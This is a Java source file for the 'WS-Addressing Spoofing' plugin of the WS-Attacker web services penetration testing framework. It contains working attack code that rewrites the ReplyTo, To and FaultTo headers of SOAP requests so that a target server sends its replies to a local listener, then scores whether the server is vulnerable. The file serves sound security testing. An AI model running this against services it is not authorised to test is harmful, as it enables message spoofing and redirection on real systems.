/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2010 Christian Mainka * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.wsAddressingSpoofing; import com.eviware.soapui.config.WsaVersionTypeConfig; import com.eviware.soapui.impl.wsdl.WsdlRequest; import com.eviware.soapui.impl.wsdl.WsdlSubmit; import com.eviware.soapui.impl.wsdl.WsdlSubmitContext; import com.eviware.soapui.impl.wsdl.support.soap.SoapVersion; import com.eviware.soapui.impl.wsdl.support.wsa.WsaConfig; import com.eviware.soapui.impl.wsdl.support.wsa.WsaUtils; import com.eviware.soapui.model.iface.Request.SubmitException; import com.eviware.soapui.model.iface.Submit.Status; import com.eviware.soapui.model.propertyexpansion.DefaultPropertyExpansionContext; import com.eviware.soapui.support.xml.XmlUtils; import javax.xml.soap.SOAPException; import javax.xml.soap.SOAPMessage; import wsattacker.main.composition.plugin.AbstractPlugin; import wsattacker.main.composition.plugin.option.AbstractOptionInteger; import wsattacker.main.composition.plugin.option.AbstractOptionVarchar; import wsattacker.main.composition.testsuite.RequestResponsePair; import wsattacker.main.plugin.PluginState; import wsattacker.main.plugin.option.OptionLimitedInteger; import wsattacker.main.plugin.option.OptionSimpleVarchar; import wsattacker.plugin.wsAddressingSpoofing.option.OptionIpChooser; import wsattacker.plugin.wsAddressingSpoofing.util.MicroHttpServer; import wsattacker.util.SoapUtilities; /** * @author Christian Mainka */ public class WsAddressingSpoofing extends AbstractPlugin { private static final long serialVersionUID = 2L; private static final String NAME = "WS-Addressing Spoofing"; private static final String DESCRIPTION = "<html><p>This attack plugin checks if the server is vulnerable to WS-Addressing Spoofing.</p>" + "<p>It will generate requests which try to invoke the server to send a message to your local server. " + "This can be very dangerous.</p></html>"; private static final String[] CATEGORY = new String[] { "Spoofing Attacks" }; private static final String AUTHOR = "Christian Mainka"; private static final String VERSION = "1.1 / 2013-06-26"; private static final int MAXPOINTS = 3; private OptionIpChooser chooser; private AbstractOptionInteger port; private AbstractOptionInteger waitingPerRequest; private AbstractOptionVarchar localServerUrl; private transient MicroHttpServer server; // for loading a config, only // options are important private transient WsdlRequest attackRequest, originalRequest; // for loading // a config, // only // options // are // important private boolean wasSuccessfulReplyTo, wasSuccessfulTo, wasSuccessfulFaultTo; /* * (non-Javadoc) * @see wsattacker.main.composition.plugin.AbstractPlugin#initializePlugin() */ @Override public void initializePlugin() { initData(); port = new OptionLimitedInteger( "Port", 10080, "Lokal server listens on this port", 1, 65536 ); waitingPerRequest = new OptionLimitedInteger( "Waiting", 3000, "Maximum time to wait per request in ms (>=3000ms)", 3000, 3600000 ); // max=1h, just any value localServerUrl = new OptionSimpleVarchar( "Endpoint", "http://localhost:10080", // will be automatically // overwritten "This is the URL for your local Server." ); chooser = new OptionIpChooser( "Your IP", "Detect Endpoint automaticly or choose it manually", localServerUrl, port ); getPluginOptions().add( chooser ); getPluginOptions().add( port ); getPluginOptions().add( localServerUrl ); getPluginOptions().add( waitingPerRequest ); setState( PluginState.Ready ); server = null; } public void initData() { setName( NAME ); setDescription( DESCRIPTION ); setCategory( CATEGORY ); setAuthor( AUTHOR ); setVersion( VERSION ); setMaxPoints( MAXPOINTS ); } public AbstractOptionInteger getPort() { return port; } public AbstractOptionVarchar getLocalServerUrl() { return localServerUrl; } public AbstractOptionInteger getWaitingPerRequest() { return waitingPerRequest; } /* * (non-Javadoc) * @see wsattacker.main.composition.plugin.AbstractPlugin#attackImplementationHook * (wsattacker.main.composition.testsuite.RequestResponsePair) */ @Override protected void attackImplementationHook( RequestResponsePair original ) { originalRequest = original.getWsdlRequest(); // start a micro http server for receiving http data // try { server = new MicroHttpServer( getPort().getValue() ); // } catch (IOException e) { // log().error("Could not start lokal server. Port already in use? " + // e.getMessage()); // setState(PluginState.FAILED); // return; // } info( "Starting MicroHttpServer on port " + getPort().getValue() ); server.start(); // wait one second till server is started try { Thread.sleep( 1000 ); } catch ( InterruptedException e ) { log().error( e.getMessage() ); } // check if server is listening try { server.getServer().getAddress(); } catch ( Exception e ) { log().error( "Could not start lokal server. Port already in use?" ); setState( PluginState.Failed ); return; } // run different attack types // note: isRunning() is faster than !isAborting() if ( isRunning() ) { doReplyToAttack(); } else { return; } if ( isRunning() ) { doToAttack(); } else { return; } if ( isRunning() ) { doFaulToAttack(); } else { return; } if ( wasSuccessful() ) { critical( String.format( "(%d/%d) attack methods worked. The server is vulerable to WS-Addressing Spoofing.", getCurrentPoints(), getMaxPoints() ) ); } server.stop(); } /* * (non-Javadoc) * @see wsattacker.main.composition.plugin.AbstractPlugin#clean() */ @Override public void clean() { setCurrentPoints( 0 ); wasSuccessfulReplyTo = false; wasSuccessfulTo = false; wasSuccessfulFaultTo = false; removeAttackRequest(); // should normally do nothing setState( PluginState.Ready ); } /* * (non-Javadoc) * @see wsattacker.main.composition.plugin.AbstractPlugin#stopAttack() */ @Override protected void stopHook() { removeAttackRequest(); try { server.stop(); } catch ( Exception e ) { // nothing to do } } /* * (non-Javadoc) * @see wsattacker.main.composition.plugin.AbstractPlugin#wasSuccessful() */ @Override public boolean wasSuccessful() { return ( getCurrentPoints() > 0 ); } // usefull for junit public boolean wasSuccessfulReplyTo() { return wasSuccessfulReplyTo; } // usefull for junit public boolean wasSuccessfulTo() { return wasSuccessfulTo; } // usefull for junit public boolean wasSuccessfulFaultTo() { return wasSuccessfulFaultTo; } private void createAttackRequest( String newName ) { attackRequest = originalRequest.getOperation().addNewRequest( newName ); originalRequest.copyTo( attackRequest, true, true ); } private void removeAttackRequest() { if ( attackRequest != null ) { attackRequest.getOperation().removeRequest( attackRequest ); attackRequest = null; } } private boolean configureFaultAttack() { WsaConfig wsa = attackRequest.getWsaConfig(); attackRequest.setWsaEnabled( true ); // delete all body child elements so that this message // will cause a soap fault String content = attackRequest.getRequestContent(); SOAPMessage sm; // convert string to SAAJ Objects try { sm = SoapUtilities.stringToSoap( content ); } catch ( SOAPException e ) { log().error( "Could not convert String to SAAJ Objects. " + e.getMessage() ); return false; } // remove all childs from body try { sm.getSOAPBody().removeContents(); } catch ( SOAPException e ) { log().error( "Could not remove SOAP body childs." + e.getMessage() ); return false; } // convert SAAJ back to String try { content = SoapUtilities.soapToString( sm.getSOAPPart().getEnvelope() ); } catch ( SOAPException e ) { log().error( "Could not convert SAAJ Objects back to a String. " + e.getMessage() ); return false; } // set modified request content attackRequest.setRequestContent( content ); // info("Using FaultTo Method and sending an empty body to the server"); // server shall send soap fault to local server wsa.setFaultTo( getLocalServerUrl().getValue() ); // generate a random messageid // wsa.setGenerateMessageId(true); wsa.setMessageID( "### FaultTo Message ID ###" ); return true; } private boolean configureToAttack() { WsaConfig wsa = attackRequest.getWsaConfig(); attackRequest.setWsaEnabled( true ); // server shall send the reply to local server wsa.setTo( getLocalServerUrl().getValue() ); // generate a random messageid // wsa.setGenerateMessageId(true); wsa.setMessageID( "### To Message ID ###" ); return true; } private boolean configureReplyToAttack() { WsaConfig wsa = attackRequest.getWsaConfig(); attackRequest.setWsaEnabled( true ); // server shall send the reply to local server wsa.setReplyTo( getLocalServerUrl().getValue() ); // generate a random messageid // wsa.setGenerateMessageId(true); wsa.setMessageID( "### ReplyTo Message ID ###" ); return true; } private boolean doAttackRequest() { final int STEP = 100; server.resetIncomingRequest(); try { SoapVersion soapVersion = attackRequest.getOperation().getInterface().getSoapVersion(); String content = attackRequest.getRequestContent(); WsaUtils wsaUtils = new WsaUtils( content, soapVersion, attackRequest.getOperation(), new DefaultPropertyExpansionContext( attackRequest ) ); content = wsaUtils.addWSAddressingRequest( attackRequest ); attackRequest.setRequestContent( content ); } catch ( Exception e ) { log().error( "Could not add WS-Addressing Header. " + e.getMessage() ); return false; } trace( "Sending request with content (PrettyPrinted):\n" + XmlUtils.prettyPrintXml( attackRequest.getRequestContent() ) ); WsdlSubmit<WsdlRequest> submit = null; try { submit = attackRequest.submit( new WsdlSubmitContext( attackRequest ), true ); } catch ( SubmitException e ) { log().error( "Could not submit request." + e.getMessage() ); return false; } int wait = waitingPerRequest.getValue(); boolean success = false; // wait until waiting time is over or we got a response while ( ( wait > 0 ) && !success && isRunning() ) { try { Thread.sleep( STEP ); } catch ( InterruptedException e ) { } wait -= STEP; success |= server.hasIncomingRequest(); } if ( isAborting() ) { info( "User cancled attack." ); return false; } submit.waitUntilFinished(); if ( success ) { trace( "Server received data (PrettyPrinted): \n" + XmlUtils.prettyPrintXml( server.getRequestBody() ) ); } else if ( submit.getStatus().equals( Status.FINISHED ) ) { String response = submit.getResponse().getContentAsString(); if ( response == null ) { info( "Web-Server does not send anything to local server, neither replied to us directly. Is the endpoit reachable?" ); } else { info( "Web-Server does not send anything to local server, but we directly received an reply." ); trace( "Reply content:\n" + response ); } } return success; } private boolean doReplyToAttack() { boolean success; info( "Trying to attack using 'ReplyTo' method" ); // ReplyTo attack createAttackRequest( getName() + " ReplyToAttack" ); configureReplyToAttack(); success = doAttackRequest(); // try again with other WSA version if not successful if ( !success && toggleWsaVersion() ) { success = doAttackRequest(); } removeAttackRequest(); // generate results if ( success ) { addOnePoint(); wasSuccessfulReplyTo = true; important( String.format( "%s attack works, got %d/%d Points", "ReplyTo", getCurrentPoints(), getMaxPoints() ) ); } else { info( "'ReplyTo' attack failed." ); } return success; } private boolean doToAttack() { boolean success; info( "Trying to attack using 'To' method" ); // To attack createAttackRequest( getName() + " ToAttack" ); configureToAttack(); success = doAttackRequest(); // try again with other WSA version if not successful if ( !success && toggleWsaVersion() ) { success = doAttackRequest(); } removeAttackRequest(); // generate results if ( success ) { addOnePoint(); wasSuccessfulTo = true; important( String.format( "%s attack works, got %d/%d Points", "To", getCurrentPoints(), getMaxPoints() ) ); } else { info( "'To' attack failed." ); } return success; } private boolean doFaulToAttack() { boolean success; info( "Trying to attack using 'FaultTo' method (request will have empty SOAP Body)" ); // try to invoke a soap fault createAttackRequest( getName() + " FaultAttack" ); configureFaultAttack(); success = doAttackRequest(); // try again with other WSA version if not successful if ( !success && toggleWsaVersion() ) { success = doAttackRequest(); } removeAttackRequest(); // generate results if ( success && isRunning() ) { addOnePoint(); wasSuccessfulFaultTo = true; important( String.format( "%s attack works, got %d/%d Points", "FaultTo", getCurrentPoints(), getMaxPoints() ) ); } else { info( "'FaulTo' attack failed." ); } return success; } private boolean toggleWsaVersion() { WsaConfig wsa = attackRequest.getWsaConfig(); String currentVersion = wsa.getVersion(); String newVersion = null; boolean ret = false; if ( currentVersion.equals( WsaVersionTypeConfig.X_200508.toString() ) ) { newVersion = WsaVersionTypeConfig.X_200408.toString(); ret = true; } else if ( currentVersion.equals( WsaVersionTypeConfig.X_200408.toString() ) ) { newVersion = WsaVersionTypeConfig.X_200508.toString(); ret = true; } if ( ret ) { info( "Changing WSA Version from " + currentVersion + " to " + newVersion ); wsa.setVersion( newVersion ); } return ret; } }